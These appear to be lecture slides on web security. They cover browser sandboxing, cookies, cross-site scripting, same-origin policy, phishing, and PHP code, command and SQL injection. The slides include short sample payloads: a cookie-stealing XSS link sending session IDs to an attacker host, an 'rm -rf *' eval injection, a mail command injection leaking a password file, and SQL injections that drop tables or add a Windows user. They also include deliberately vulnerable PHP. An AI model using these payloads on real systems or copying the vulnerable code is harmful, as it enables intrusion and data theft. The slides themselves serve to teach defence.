Security for the "Web"

- Safely browse the web
  - Users should be able to visit any web site without harm

- Secure Web Apps
  - Web Apps should have the same security properties as stand-alone applications, e.g:

  - Virtual Machine Sandbox
    - Security properties:
      - secrecy
      - integrity
      - availability

  - Security manager
    - Applet runtime library
      - Files
      - Printer
      - Network

  - Bad!

  - Isolation

  - Sandboxings

  - Type Safety

Short Survey of Threats

- Client Side
  - Information leaks
  - XSS: cross-site scripting
  - Frame isolation
  - Phishing attacks

- Server Side
  - Code injection attacks

(Short survey of threats thanks to John Mitchell and Dan Boneh)

HTML Image Tags

+ Communicate with other sites...
  - `<img src="http://example.com/shilo.jpg" height="250" width="300">`

  - `<img src="http://sneaky.com/sneaky-shilo.jpg?extra_stuff">`

  - ... and hide image:
    - `<img src="http://sneaky.com/sneaky-shilo.jpg?extra_stuff" height="1" width="1">`

+ Important point: A web page can send information to any site
**HTML with JavaScript, DOM**

- JavaScript can access DOM for page being viewed... and change it.
- Example: Add a new list item:

```html
<script>
  var list = document.getElementById('theList');
  var newItem = document.createElement('li');
  var newText = document.createTextNode('moo');
  newItem.appendChild(newText);
  list.appendChild(newItem);
</script>
```

Everything I said about sandboxing applies here too.

**Cookies...**

- Servers can store local state on clients
- In HTML:

```html
<script>
  document.cookie = "username=Steve; expires=Thu, 9 May 2019; SESSID=123456;"
</script>
```

- Can use to manage session state, ie user name, browsing state, etc.
- [Look at Google, williams in Firefox...]

---

**.williams.edu Cookie in Steve’s Browser**

```
PHPSESSID=6b0e022be22b3e3d9e61d37ef754e1656;
__utma=193658155.1561475015.1393070964.1400163964.1400163964.7;
__utmb=193658155.10.10.1400163964;
__utmc=193658155;
__utmz=193658155.1400163964.7.3.utmcsr=sorry.williams.edu|utmccn=(referral)|utmcmd=referral|utmctr=/www/index.html; https%3a%2f%2fsarah.williams.edu%2fpsp%2fcsprd%2femployee%2fhrm%2frefresh=list:%20%3Ftab%3Dremoteunifieddashboard%7C%3Frefresh_all_pagelets%3Dremoteunifieddashboard; psapps-13400-PORTAL; PSJSESSIONID=whprAAAASnTvLLWnMtmBBBB5vSLhCCCC!2033332244
```

Can only access this cookie in code downloaded from *.williams.edu

---

**XSS: Cross-Sight Scripting Attacks**

To: freund8cs.williams.edu
Subject: Click image for more Puppies!
From: plum@gmail.com

 ![Click Image for More Puppies!](http://www.dailypuppy.com/)

Click Image for More Puppies! (version 2)
http://www.williams.edu/search/?q=<script>document.write(document.cookie)</script>

By requesting this page from gnail.com you just handed over your cookie for williams.edu...

I'm now going to access sarah.williams.edu using your Session Id...

The Punch Line...

- I clicked on a link:
  
  http://www.williams.edu/search/?q= <script> 
  </script>

- That that send the following to the attacker:
  
  "http://gnail.com?cookie=PHPSESSID..."

- This is BAD. Really really BAD.

To: Web Ops
Subject: XSS vulnerability
Date: Tue, 13 May 2014 16:25:16 -0400

I noticed today that the Williams homepage is susceptible to an XSS vulnerability. The simplest way to see this is to go to the homepage and do a search for

<script>alert('moo')</script>

The page returned by the search has the search phrase embedded -- and the browser warning the user.

To: Web Ops
Subject: XSS vulnerability
Date: Tue, 13 May 2014 22:34:58 -0400

Hi Steve,

Thanks for pointing this out. We'll definitely take a look.

Best,

- Steve.
<script>alert('moo')</script>

What Happens Now?

- [searches.html]

And all this just by clicking on a link from one malicious source...

Isolation Policy Goals

- Safe to visit a malicious website

- Safe to visit two pages at the same time
  - Address bar distinguishes them

- Safe to allow delegation  
  [frames.html]
Browser Security Mechanism

- Each frame of a page has an origin
  - Origin = protocol://host:port (e.g., http://www.williams.edu:8080)
- Frame can access its own origin
  - Network access, Read/write DOM, Storage (cookies)
- Frame cannot access data associated with a different origin

A Guninski Attack (Cross-Window)

Gadget Hijacking (Same Window)

What Should the Policy Be?

Browser Behavior

<table>
<thead>
<tr>
<th>Browser</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 6 (default)</td>
<td>Permissive</td>
</tr>
<tr>
<td>IE 6 (option)</td>
<td>Child</td>
</tr>
<tr>
<td>IE7 (no Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>IE7 (with Flash)</td>
<td>Permissive</td>
</tr>
<tr>
<td>Firefox 2</td>
<td>Window</td>
</tr>
<tr>
<td>Safari 3</td>
<td>Permissive</td>
</tr>
<tr>
<td>Opera 9</td>
<td>Window</td>
</tr>
<tr>
<td>HTML 5</td>
<td>Child</td>
</tr>
</tbody>
</table>

Descendent is now almost exclusively used

Phishing: Safe to Type Your Password?
Safe to Type Your Password?

Google Phishing

- Google Docs would like to:

  - Read, send, delete, and manage your email
  - Manage your contacts

By clicking 'Allow', you allow the app and Google to use your information in accordance with its Privacy Policy. You can change this and other Account Permissions at any time.

Server Side PHP Scripts


\$in = \$_GET['exp'];
\eval('\$ans = \$in . ';);
\$ans = 2 + 3;

<html>5</html>
Code Injection Attack

```
http://a.com/calc.php?exp="1; system('rm -rf *')"
```

Other PHP Attacks

• PHP Script to send welcome message:

```
$email = $_GET['email'];
$subject = $_GET['subject']
 system("mail $email -s $subject < /tmp/welcome.txt");
```

• Attacker posts

```
http://yourdomain.com/mail.php?
email=springer@malicious.cow.com &
subject=mwahahahaha < /usr/passwd;
```

• Server Runs:

```
mail springer@malicious.cow.com
-s mwahahahaha < /usr/passwd; # < /tmp/welcome.txt
```

Other PHP Attacks

• OR Attacker posts

```
http://yourdomain.com/mail.php?
email=springer@malicious.cow.com &
subject=uhoh;
```

• Server Runs:

```
mail springer@malicious.cow.com
-s uhoh;
```

Database Queries in PHP (The Wrong Way)

```
http://a.com/login.php?
user=steve&pass=rachmaninoff
```

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$sql = "SELECT * FROM Users WHERE user='$user' AND password='$pass';"
$rs = $db->executeQuery($sql);
if ($rs->count > 0)
    // success
```

Bad Input

• login.php?user=steve&pass=rachmaninoff

```
SELECT * FROM Users WHERE user='steve' AND password='rachmaninoff'
```

• login.php?user='' or 1=1 --

```
SELECT * FROM Users WHERE user='' OR 1=1 -- AND password=""
```

- All table rows match this query
- Result is never empty
Worse Input

- `login.php?user= &pass="; DROP TABLE Users`

- Attacker inserted a second command...
- That deletes the Users table.

Worst(?) Input

- `login.php?user= &pass="; exec cmdshell 'net user springer badpwd' / ADD`